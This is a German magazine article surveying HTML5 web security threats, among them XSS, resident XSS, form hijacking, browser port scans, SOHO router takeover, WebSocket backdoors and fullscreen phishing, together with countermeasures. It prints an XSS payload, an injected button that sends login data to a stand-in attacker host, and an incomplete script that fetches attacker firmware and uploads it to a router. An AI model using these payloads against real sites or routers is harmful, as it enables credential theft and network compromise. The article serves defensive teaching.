Wie sieht es aktuell mit der Sicherheit von HTML5 aus?

HTML5 Security, reloaded
Kommentare

Seit den letzten beiden Artikeln zur Sicherheit von HTML5 [1], [2] sind zwei Jahre vergangen, und in der Zeit haben sich sowohl HTML5 als auch die Angriffe darauf und darüber weiter entwickelt. Zeit also für eine aktualisierte Bestandsaufnahme.

Los geht es mit einem leidigen Thema: Cross-Site Scripting. Was von vielen als lästige Kleinigkeit abgetan wird, lässt durchaus gefährliche Angriffe zu. Und ein Artikel über HTML5 und Sicherheit ohne die Erwähnung von XSS ist ganz einfach unvollständig. Das von Mario Heidrich gepflegte HTML5 Security Cheatsheet [3] führt alle bekannten XSS-Angriffsvektoren auf.

Da fällt mir gerade auf, dass ich immer von HTML5 schreibe, aber was ist das eigentlich? Nun, das weiß niemand so genau, denn HTML5 als Standard ist „Work in Progress“ – ein sich mehr oder weniger langsam weiter entwickelnder Standard also. Das Gleiche gilt für die Implementierung von HTML5 in den Webbrowsern: alles und überall „Work in Progress“. Und um den Ganzen die Krone aufzusetzen, haben W3C und WHATWG die Zusammenarbeit aufgekündigt. In Zukunft gibt es also zwei sehr wahrscheinlich langsam auseinanderdriftende Versionen von HTML5. Und das ist genau das, was man nicht brauchen kann, wenn man etwas sicher entwickeln und implementieren will. Es ist also mit weiteren Angriffsvektoren für XSS-Angriffe zu rechnen, weil die Browser die Tags, Attribute etc. unterschiedlich interpretieren. Betrachten Sie also Ihre XSS-Schutzmaßnahmen ruhig auch als „Work in Progress“, sofern Sie nicht HTML in den Eingaben generell verbieten oder über eine restriktive Whitelist auf harmlose Eingabe beschränken können. Aber auch beim Einsatz einer Whitelist sollten Sie mögliche neue Angriffe im Auge behalten und die Whitelist ggf. anpassen, damit sie keine gefährlichen Eingaben erlaubt.

HTML5 gefährdet alle Webanwendungen – auch alte!

Ob eine Webanwendung selbst HTML5 verwendet oder nicht, ist für den Angriff erst einmal völlig egal. Entscheidend ist, dass der eingeschleuste XSS-Code nicht ausgefiltert wird und das Opfer einen HTML5-fähigen Webbrowser verwendet. Und welcher Webbrowser ist heutzutage nicht HTML5-fähig? Das folgende Beispiel verdeutlicht das Problem sehr schön: Nehmen wir mal an, Ihre Webanwendung enthält den Code

echo "<input type=""text"" value=""".$input.""">";

Mit der Eingabe

" autofocus onfocus=alert(1) "

ergibt das in der erzeugten HTML-Seite

<input type="text" value="" autofocus onfocus=alert(1) "">

Das autofocus-Attribut lenkt den Focus automatisch auf das input-Tag, und wenn es im Focus ist, wird der Code im onfocus-Attribut ausgeführt: Treffer, versenkt! – Die Alertbox geht auf.

Ist Ihnen an der Eingabe etwas aufgefallen? Der XSS-Angriff kommt ohne < und > aus. Sollte Ihr XSS-Schutz darin bestehen, diese potenziell gefährlichen Zeichen auszufiltern oder in HTML-Entities umzuwandeln, ist er in diesem Fall unwirksam. Das ist insbesondere für ältere Webanwendungen eine Gefahr. Wann haben Sie denn die Schutzmaßnahmen älterer Webanwendungen das letzte Mal aktualisiert? Oder auch nur angesehen? „Never touch a running System“, richtig? Eigentlich ein guter Grundsatz, der im Fall der Sicherheit aber mit ziemlicher Sicherheit früher oder später nach hinten losgeht.

HTML5 mit eigener XSS-Art

Das klassische persistente und reflektive XSS kennen Sie sicher, und auch vom 2005 von Amit Klein erstmals beschriebenen DOM-basierten XSS sollten Sie schon gehört haben. Wenn nicht, finden Sie eine Einführung in About Security #129 f [4]. DOM-basiertes XSS dürfte mit HTML5 an Bedeutung gewinnen. Je mehr Funktionen der Webclient bereithält, desto größer wird die Wahrscheinlichkeit dafür, dass in einer davon eine XSS-Schwachstelle enthalten ist. Gegen DOM-basiertes XSS gibt es zwei Mittel: Entweder Sie verzichten auf die lokale Verarbeitung von vom Benutzer manipulierbaren Parametern oder Sie kodieren diese passend um. Dafür können Sie zum Beispiel das „OWASP Enterprise Security API (ESAPI) for JavaScript“ verwenden [5].

Mit HTML5 kommt aber auch eine neue Klasse von XSS-Angriffen, die erst mit den lokalen Speichermöglichkeiten von HTML5 möglich wurde: Resident XSS.

Resident XSS

Diesen Namen wählte Artur Janc für einen Angriff, den er im Dezember 2011 auf dem 28C3 vorgestellt hat [6]. Über eine klassische XSS-Schwachstelle eingeschleuster JavaScript-Schadcode wird dabei zum Beispiel im Local Storage oder der SQL-Datenbank des Browsers gespeichert und bleibt außerdem beispielsweise in einem versteckten iFrame oder Hintergrundfenster aktiv. Über diesen JavaScript-Schadcode kann der Angreifer dann die Kommunikation zwischen Benutzer und Webanwendung kontrollieren und eigene Befehle einschleusen. Der Angreifer erhält dadurch ein Rootkit im Webclient, über das er die Webanwendung im Rahmen der Rechte des angegriffenen Benutzers manipulieren kann.

Aufräumen ist schwierig

Das Erkennen so eines Angriffs ist schwierig, das Beseitigen des Schadcodes noch schwieriger: Solange der Benutzer ein Tab oder ein Fenster zur Domain der Webanwendung mit dem Schadcode offen hat, kann dieser Schadcode laufende Sessions manipulieren. Ein über Meta-Tag oder AJAX ausgelöster Refresh der Seite kann vom Schadcode aufgehoben werden. Die Webanwendung kann den Benutzer nicht einmal vor dem Angriff warnen, da der Schadcode diese Warnung unterdrücken oder manipulieren kann.

Aber selbst wenn der Benutzer vom Angriff weiß, wird er den Schadcode nicht so leicht los, wie man meinen möchte. Das Schließen des Tabs mit der Webanwendung ist nutzlos, wenn der Schadcode in weiteren Tabs oder Fenstern im Kontext der Webanwendung läuft. Auch das Schließen aller Browserfenster und das Beenden des Webbrowsers eliminiert den Schadcode nicht, wenn der sich zum Beispiel im Local Storage oder im lokalen Cache eingenistet hat. Löscht der Benutzer den Local Storage, bevor er den Browser neu startet, kann in noch geöffneten Tabs oder Fenstern laufender Schadcode sich sofort wieder im Local Storage einnisten. Artur Janc hält folgendes Vorgehen für eine mögliche Lösung:

  1. Schließen aller Browserfenster bis auf eins
  2. Schließen aller Tabs in diesem Fenster bis auf einen
  3. in diesem verbleibenden Tab about:blank aufrufen
  4. Löschen aller von der Webanwendung auf dem Client gespeicherten Daten: Cookies, Caches, Local Storage, SQL-Datenbank, Local Shared Objects des Flash Players etc.
  5. Neustart des Browsers

So, und jetzt überzeugen Sie einen Benutzer mal davon, dass er diesen Aufwand betreiben muss. Selbst wenn ihn Ihre Warnung erreicht und sie nicht vom Schadcode abgefangen wird, wird kaum ein Benutzer bereit sein, diese Aktionen durchzuführen. Alternativ könnte auch einfach das betroffene Browserprofil gelöscht werden. Aber das werden die Benutzer mit ziemlicher Sicherheit erst recht nicht machen. Damit Ihre Webanwendung nicht zum Opfer so eines Angriffs werden kann, müssen Sie nichts weiter tun, als das Entstehen von XSS-Schwachstellen zu verhindern. Ein Grund mehr, auf den XSS-Schutz zu achten. Aber betrachten wir jetzt einmal, was HTML5 für Angriffe erlaubt, wenn ein Angreifer seinen JavaScript-Schadcode in den Browser eines Benutzers einschleusen kann.

Browserbasierte Botnets

Robert McArdle von TrendMicro hat das Konzept eines Botnets auf Webbrowserbasis beschrieben [7]. So ein JavaScript-basierter Bot im Browser hat den Vorteil, dass er betriebssystemunabhängig ist, sofern der angegriffene Browser die benötigten Funktionen bereitstellt. Die möglichen Aktionen, die so ein Botnet ausführen kann, sind vielfältig: DDoS-Angriffe, die Verbreitung von Spam, das Generieren von Bitcoins, Phishing-Angriffe, Angriffe auf das lokale Netz, der Missbrauch als Proxy für weitere Angriffe und das Verbreiten des eigenen Codes werden von Robert McArdle aufgezählt, und im Zweifelsfall sind die Cyberkriminellen sicher noch viel kreativer, wenn es darum geht Schaden anzurichten. Das „Botnet im Webbrowser“ ist bisher nur ein Konzept, wenn auch ein sehr interessantes oder beängstigendes – je nach Standpunkt. Mal abgesehen vom Verhindern von XSS-Schwachstellen können Sie dagegen im Ernstfall leider nicht viel tun. Beim nächsten Angriff sind Ihre Möglichkeiten dagegen etwas besser:

Formular auf Abwegen

In HTML5 können sich alle Formularelemente wie Buttons, Eingabefelder etc. selbstständig mit einem Formular auf der Seite verknüpfen, unabhängig davon, wo sich das Formular befindet [7]. Das könnte wie in Listing 1 aussehen. 

...
<form id="einFormular" action="machwas.php" method="post">
<input type="text" name="bla" value="Text hier eingeben">
</form>
...
<p>
Irgendetwas mehr oder weniger wichtiges ...
</p>
...
<input type="submit" form="einFormular">

Das ist in manchen Fällen sicher nützlich, erlaubt zum Beispiel in Verbindung mit XSS aber Social-Engineering-Angriffe. Zusätzlich gibt es neue Attribute für Tags wie button oder submit, die weitergehende Angriffe erlauben:

·formaction erlaubt Änderungen am Ziel des Formulars, also dem action-Attribut des form-Tags
·formenctype erlaubt die Änderung der Datenkodierung des Formulars
·formmethod erlaubt Änderungen am method-Attribut des form-Tags, aus einem GET-Formular kann also ein POST-Formular gemacht werden und anders herum
·formtarget erlaubt Änderungen am target-Attribut des form-Tags, also des Fensters, in dem der action-URL geöffnet wird.

Ein Angreifer, der auf einer Webseite JavaScript ausführen kann (beispielsweise über eine XSS-Schwachstelle oder durch eine präparierte Werbeanzeige), kann alle Formulare auf dieser Seite manipulieren. Er kann als beispielsweise dafür sorgen, dass die ausgefüllten Formulare an seinen Server gesendet werden. Betrachten Sie dazu das Beispiel in Listing 2.

...
<form id="login" action="login.asp" method="post">
Benutzername: <input type="text" name="name"><br>
Passwort: <input type="text" name="pass"><br>
<input type="submit" value="login">
</form>
...
<p>
Bis hierher ist alles ganz harmlos ...
</p>
...
<!-- Hier kommt der z.B. als Werbung eingeschleuste Code: -->
<button type="submit" form="login" formaction="http://angreifer.example/datensammler.php">
<img src="http://angreifer.example/lockendes-bild.jpg">
</button>
<!-- Ende des eingeschleusten Codes -->
...

Der Button erscheint als das angegebene lockende Bild. Klickt der Benutzer das Bild an, während das Formular gefüllt ist, werden seine Zugangsdaten an den Angreifer gesendet. Sie denken, dass ist ein konstruiertes Beispiel; der Trick funktioniert doch nie? Haben Sie noch nie irgendwo Zugangsdaten eingegeben, es sich dann aber anders überlegt und stattdessen einen Link oder ein Bild auf der Seite angeklickt? Zum Beispiel bei GMX oder Web.de, wenn Sie während des Einloggens eine interessante Nachricht auf der Seite entdecken? Stellen Sie sich mal vor, Sie wollen sich gerade in einem Portal oder Social Network einloggen und sehen plötzlich ein Bild, auf dem steht, dass Sie als tausendster Besucher als Gewinner eines kostenlosen iPhones ausgewählt wurden. Sie denken, darauf fällt doch niemand rein? Und warum gibt es dann immer wieder solche und ähnliche Werbeanzeigen? Irgendjemand muss da ja wohl drauf klicken, sonst würde es sie ja nicht mehr geben.

Aufmacherbild: Padlock and keyhole in a printed circuit. Digital illustration. von Shutterstock / Urheberrecht: Andrea Danti

[ header = Formulare unter Kontrolle behalten ]

Formulare unter Kontrolle behalten

Damit niemand Ihre Formulare entführt, dürfen Sie keine XSS-Schwachstellen in Ihrer Webanwendung haben. Da Sie die ja sowieso nicht haben sollten, ist das weiter kein Problem. Außerdem darf es auf Ihrer Website keine bösartige Werbung geben. Das ist schon schwieriger, da immer mal wieder Ad-Server kompromittiert und zur Verbreitung von JavaScript-Schadcode missbraucht werden. Sofern Sie nicht auf Werbung v7erzichten, müssen Sie also genau darauf achten, was da in Ihre Seite eingebunden wird. Teilweise hilft es, die Werbung in einen iFrame mit entsprechend gesetztem sandbox-Attribut einzubinden [2]. Dieser Schutz ist aber natürlich nur in Browsern wirksam, die das Attribut auch unterstützen. Alle Benutzer anderer Browser würden ggf. Opfer enthaltenen Schadcodes. Und dann gibt es noch eine Lösung: Damit sich ein Formularelement mit einem Formular verbinden kann, muss das Formular ein id-Attribut enthalten. Kommt Ihre Webanwendung ohne aus, besteht auch keine Gefahr, dass ein Formular manipuliert wird.

Unheil im lokalen Netz

„Wer die Kontrolle über den Browser hat, befindet sich im lokalen Netz ‑ und damit hinter der Firewall!“ So oder so ähnlich habe ich 2007 in einem Vortrag über AJAX-Sicherheit auf der AJAX in Aktion mögliche Angriffe auf das lokale Netz angekündigt. Damals ging es im Wesentlichen um Portscans über JavaScript (siehe About Security #133 ff [8]) und die Ausnutzung von Default-Passwörtern in Netzwerkhardware, um diese umzukonfigurieren.

Jetzt haben wir HTML5, und damit lässt sich schon mehr anstellen. Erst einmal lassen sich die JavaScript-Portscans mit HTML5, konkret den Cross-Origin Requests und WebSockets, verbessern. Die Attack and Defense Labs haben das JavaScript-Tool JS-Recon entwickelt, das Cross-Origin Requests oder WebSockets verwendet, um im lokalen Netz nach Rechnern zu suchen [9]. Dabei werden die readystate-Statuswerte der Cross-Origin Requests und WebSockets zum Erkennen der Ports verwendet. Das Scannen funktioniert mit Chrome, Safari und Firefox.

Der Portscan im Überblick

Wird eine Cross-Origin-Request- oder WebSocket-Verbindung zu einem bestimmten Port einer IP-Adresse aufgebaut, wird der readystate auf seinen Ausgangswert gesetzt. In Abhängigkeit vom Status des Ports ändert sich der readystate-Wert. Die Dauer der Wartezeit bis zum Statuswechsel kann genutzt werden, um zu erkennen, ob der Port, zu dem die Verbindung aufgebaut wurde, offen oder geschlossen ist oder gefiltert wird. Es gibt zwei Einschränkungen für diese Art von Portscan: Die Browser blockieren Verbindungen zu den Well Known Ports mit der Ausnahme von Port 80 und 443, sodass sie nicht gescannt werden können. Und die Scans finden auf Anwendungsebene statt, sodass die Antwort von der Anwendung abhängig ist, die am gescannten Port lauscht. Das Ergebnis so eines Portscans ist aber hinreichend genau, um brauchbar zu sein.

Um allgemein nach Rechnern im lokalen Netz zu suchen, müssen nur systematisch die IP-Adressen der vermuteten Rechner durchgegangen und für jede IP-Adresse üblicherweise vorhandene Ports gescannt werden. Wird ein offener oder geschlossener Port erkannt, gibt es einen Rechner mit der geprüften IP-Adresse. JS-Recon steht auf der Website der Attack and Defense Labs für Tests bereit [10], [11]. Ein Beispiel für so einen Netzwerkscan sehen Sie in Abbildung 1.

Abb. 1: Portscan mithilfe von WebSockets

[ header = Manipulation von SOHO-Routern]

Manipulation von SOHO-Routern

Auf der Sicherheitskonferenz Black Hat USA 2012 haben Phil Purviance und Joshua Brashars beschrieben, wie ein Angreifer aus dem Browser heraus die Firmware von SOHO-Routern manipulieren kann [12]. Sie kombinieren dafür bereits seit Langem bekannte Angriffe mit den neuen Möglichkeiten von HTML5. Beispielsweise über XSS oder Werbung in den Browser eingeschleuster JavaScript-Schadcode sucht zuerst über einen JavaScript-Portscan allgemein nach Rechnern im lokalen Netz, um dann bekannte SOHO-Router anhand gerätespezifischer Ressourcen zu erkennen. Auf viele dieser Router ist ein Zugriff mit Default-Zugangsdaten möglich, aber auch wenn der Router durch ein individuelles Passwort geschützt ist, ist der Angriff noch nicht am Ende: Zum einen kann die Authentifizierung mittels Cross-Site Request Forgery unterlaufen werden, zum anderen sind Brute-Force-Angriffe auf die Authentifizierung möglich. Hat der Angreifer Zugriff auf den Router, wird es interessant: Durch einen so genannten „Cross-Origin Remote-File Upload“ (Listing 3) wird eine manipulierte Firmware auf dem Router installiert. Diese manipulierte Firmware kann dann zum Beispiel als Man-in-the-Middle die gesamte Kommunikation des lokalen Netzes mit dem Internet überwachen und manipulieren.

<script>
function fileUpload() {
// Die Funktion, die sowohl den Download der Firmware vom Server als auch den Upload zum Router übernimmt

// Auswahl der neuen Firmware
var destination = "http://192.168.1.1/upgrade.cgi";
var fileName = "neueFirmware.bin"; 
var srcFile = "http://angreifer.example/neueFirmware.bin";

// Holen der neuen Firmware mittels XMLHttpRequest
x = new XMLHttpRequest;
x.open("get", srcFile);
x.overrideMimeType("text/plain; charset=x-user-defined");
x.send();
x.onreadystatechange = function() {
if (x.readyState == 4) {
// Die Firmware wurde erfolgreich vom Server des Angreifers geladen
// und kann nun in der Variablen fileData zwischengespeichert werden 
a = x.responseText || "";
var ff = [];
var mx = a.length;
var scc = String.fromCharCode;
for(var z = 0;z < mx;z++) {
ff[z] = scc(a.charCodeAt(z) & 255)
}
var fileData = ff.join("");

// Die gespeicherte Firmware kann nun über einen weiteren
// XMLHttpRequest an den Router gesendet werden
xhr = new XMLHttpRequest;
xhr.upload.addEventListener("progress", updateProgress, false);
xhr.upload.addEventListener("load", transferComplete, false);
var fileSize = fileData.length;
boundary = "---------------------------168072824752491622650073";

// Vorbereiten des POST-Requests
xhr.open("POST", destination, true);
xhr.withCredentials = "true";
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);

// Zusammenstellen des POST-Body
var body = boundary + "rn";
body += 'Content-Disposition: form-data; name="submit_button" rnrnUpgradern';
body += boundary + 'rnContent-Disposition: form-data; name="change_action"rnrnrn';
body += boundary + 'rnContent-Disposition: form-data; name="action"rnrnrn';
body += boundary + 'rnContent-Disposition: form-data; name="file"; filename="' + fileName + '"rn';
body += "Content-Type: application/macbinaryrn";
body += "rn" + fileData + "rnrn";
body += boundary + 'rnContent-Disposition: form-data; name="process"rnrnrn';
body += boundary + "--";

if (typeof XMLHttpRequest.prototype.sendAsBinary == "undefined" && Uint8Array) {
// sendAsBinary muss emuliert werden

Cross-Origin Remote File Upload

Die Kommentare in Listing 3 sollten für das Verständnis des Cross-Origin Remote File Uploads ausreichen. Ausgelöst wird der Angriff durch ein simples img-Tag, das ein (nicht vorhandenes) Bild vom Router lädt und dabei die Authentifizierungsdaten der HTTP-Basic-Authentication mitschickt. Da es das Bild nicht gibt, wird die Funktion fileUpload() im onerror-Attribut ausgeführt. Die holt zuerst über einen XMLHttpRequest die Firmware vom Server des Angreifers, speichert sie in einer Variablen zwischen und sendet sie danach über einen weiteren XMLHttpRequest an den Router. Der Body des dafür verwendeten POST-Requests wird in der Variable body aus seinen einzelnen Bestandteilen zusammengesetzt.

Schutzmaßnahmen

Mal abgesehen davon, dass Ihre Webanwendung keine XSS-Schwachstellen enthalten sollte, über die ihre Benutzer angegriffen werden können, können Sie gegen solche Angriffe nur eines tun: Verwenden Sie für Ihren Router ein sicheres Passwort. Alle anderen möglichen Gegenmaßnahmen liegen außerhalb Ihres Einflussbereichs, sofern Sie nicht zufällig Router oder Webbrowser entwickeln. Denn die Router-Hersteller müssen ihre Weboberflächen mit einem CSRF-Schutz versehen, Brute-Force-Angriffe abwehren und das Setzen eines Passworts erzwingen. Eine sichere und zuverlässige Möglichkeit zur Verteilung von Firmware-Updates, evtl. auch automatisiert, wäre sicher auch eine gute Idee. Auf Browserseite könnte das Cross-Origin Resource Sharing restriktiver gehandhabt werden, indem zum Beispiel aus dem Internet geladenem Code der Zugriff auf lokale Adressen verboten wird.

Kommen wir nun noch zu einer weiteren unangenehmen Entwicklung.

WebSockets considered harmful

Sie wissen ja sicher, dass die Same Origin Policy die wichtigste Schutzmaßnahme der Browser gegen bösartigen JavaScript-Code ist. Genau genommen ist es sogar die einzige Schutzmaßnahme. Vereinfacht ausgedrückt besagt sie, dass JavaScript-Code immer nur mit dem Server kommunizieren darf, von dem er geladen wurde. Cross-Origin Requests hebeln diesen Schutz teilweise aus, indem sie Requests zu beliebigen Domains zulassen. Die kontaktierten Server müssen dann entscheiden, ob sie auf diesen Request antworten oder nicht. Die Kommunikation ist dabei aber immer eine Einbahnstraße (sofern man keinen Trick anwendet): Der Browser fordert eine Ressource an, der Server liefert sie (oder auch nicht). Und dann gibt es die WebSockets. Im RFC für das (generische) WebSocket-Protokoll, RFC 6455, steht im Abstract „The security model used for this is the origin-based security model commonly used by web browsers” [13]. Ansonsten wird die Same Origin Policy darin nicht weiter erwähnt – was kein Problem ist, da WebSockets nicht nur in Webbrowsern, sondern in beliebigen Clients eingesetzt werden können. Die Origin kommt nur in einem Zusammenhang vor: Webbrowser sollen einen Origin-Header mitschicken, den die Server prüfen können. Wobei sie ihm aber nicht vertrauen dürfen, da andere Clients als Webbrowser keinen Origin-Header mitschicken müssen und ein Angreifer ihn im Zweifelsfall sowieso fälschen wird.

In der Definition des WebSocket-API gibt es allerdings auch keine Erwähnung der Same Origin Policy [14]. Mit der fatalen Folge, dass für WebSockets die Same Origin Policy nicht gilt. Zum Beispiel über eine XSS-Schwachstelle eingeschleuster JavaScript-Code kann also bidirektionale WebSockets-Verbindungen zu beliebigen (WebSockets-)Servern aufbauen, insbesondere natürlich zu einem des Angreifers. Eine ideale Möglichkeit, um eine Backdoor zu öffnen. Der Beweis: Zum Beispiel der oben erwähnte Portscanner der Attack and Defense Labs, der beliebige Server kontaktieren kann, oder „Waldo“, ein Proof-of-Concept der Qualys Security Labs, der eine Backdoor implementiert [15]. Gegenmaßnahmen? Gibt es nicht, es gilt die alte Atari-Ausrede „It’s not a bug, it’s a feature“.

Phishing mit dem Fullscreen-API

Feross Aboukhadijeh hat am 8. Oktober 2012 einen Proof-of-Concept veröffentlicht, der den Einsatz des Fullscreen-API im Rahmen eines Phishing-Angriffs demonstriert [16]. Ein Link, der angeblich und augenscheinlich (durch entsprechender Anzeige in der Statuszeile) zur Bank of America führt, öffnet tatsächlich über das Fullscreen-API eine gefälschte Website der Bank. Während Feross Aboukhadijehs PoC lediglich einen Screenshot anzeigt, würden echte Phisher natürlich eine funktionsfähige Webseite zum Ab-Phishen von Daten anzeigen. Je nach verwendetem Browser und System werden auch die passenden UI-Komponenten samt geschlossenem/grünem Schloss als Hinweis auf eine HTTPS-Verbindung angezeigt (in Form von Screenshots), sodass sich beispielsweise Mac-Benutzer nicht über ein plötzlich erscheinendes Windows-Fenster wundern, wie es früher bei manchem Fake-Virenscanner der Fall war. Der PoC funktioniert mit Chrome, Firefox und Safari, die gefälschten UI-Komponenten gibt es für alle drei Browser im Design von Windows, OS X und Ubuntu Linux.

Verräterisch sind einige Kleinigkeiten, zum Beispiel die mitunter falsche UI-Sprache und die in den meisten Fällen falsche Uhrzeit in der Menüzeile von Mac OS X. Beides lässt sich ggf. durch einige Anpassungen ändern. Ob Gegenmaßnahmen ergriffen werden können, und wenn ja, welche das sein können, wird von den Browserherstellern diskutiert. Feross Aboukhadijeh hat sich ebenfalls an der Diskussion beteiligt [17].

„Der Rest“

Viele Themen rund um HTML5, wie Cross-Origin Requests, Session Storage, Local Storage, SQL-Datenbank und das sandbox-Attribut für iFrames wurden hier nicht angesprochen. Zum einen, weil es dem Umfang des Artikels sprengen würde, zum anderen, weil das in den Ausgaben 1.2011 und 2.2011 des Entwickler Magazins dazu Geschriebene nach wie vor gültig ist.

Fazit

HTML5 als „Work in Progress“ ist immer für eine Überraschung gut. Wie sich die Trennung von W3C und WHATWG auswirken wird, bleibt abzuwarten. Gegen den Missbrauch von HTML5-Funktionen durch Cyberkriminelle können Sie als Webentwickler im Allgemeinen wenig bis gar nichts tun. Sie können nur dafür sorgen, dass Ihre Webanwendung sicher ist und keine wie auch immer gearteten Schwachstellen enthält. Weder welche, über die sich Ihre Webanwendung selbst angreifen lässt, noch solche, über die die Cyberkriminellen die Benutzer Ihrer Webanwendung angreifen können. So können Sie zum Beispiel nicht verhindern, dass bösartiger JavaScript-Code WebSockets nutzt, um einen Server des Angreifers zu kontaktieren – aber Sie können dafür sorgen, dass dieser bösartige Code nicht über eine XSS-Schwachstelle in Ihrer Webanwendung eingeschleust wird.

Dipl.-Inform. Carsten Eilers ist freier Berater und Coach für IT-Sicherheit und technischen Datenschutz und Autor einer Vielzahl von Artikeln für verschiedene Magazine und Onlinemedien. Sie erreichen ihn unter www.ceilers-it.de, sein Blog finden Sie unter www.ceilers-news.de.


Unsere Redaktion empfiehlt:

Relevante Beiträge

Meinungen zu diesem Beitrag

X
- Gib Deinen Standort ein -
- or -